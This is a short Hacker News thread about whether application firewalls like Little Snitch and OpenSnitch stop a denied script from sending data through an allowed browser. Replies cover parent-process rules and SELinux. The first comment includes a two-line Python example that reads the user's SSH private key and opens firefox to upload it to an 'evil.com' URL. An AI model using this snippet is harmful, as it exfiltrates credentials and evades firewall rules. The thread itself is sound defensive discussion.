alt Hacker NewsI'm not a Little Snitch or Open Snitch user, I wonder if these firewalls are able to block requests done with the use of some other, allow-listed program.
Say I run a script `suspicious.py' and I deny this script from making any network requests. I also have firefox which is allowed to make any HTTPS requests. If suspicious.py does something like:
key = (Path.home() / '.ssh' / 'id_rsa').read_text()
subprocess.Popen(['firefox', f'https://evil.com/upload/{key}'])
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With the literal rules described it would not be blocked. A more detailed rule (in Open Snitch at least, not as familiar with the other variants) could match e.g. whether the process's parent tree contained the python binary rather than just if python is the process binding the socket.
The SELinux MAC policy should restrict which files and ports each process may access. In general, most modern distro have this feature, but normal users do not go through the rules training and default enable flag setup. =3
It depends. Little Snitch for Linux has a two level namespace for processes. It takes the process doing the connection and its parent process into account when evaluating rules.
Also: If an interpreter is run via `#!/bin/interpreter` in the script binary, it makes the rule for the script file path, not the interpreter. This does not work when running the script as `interpreter script`, though.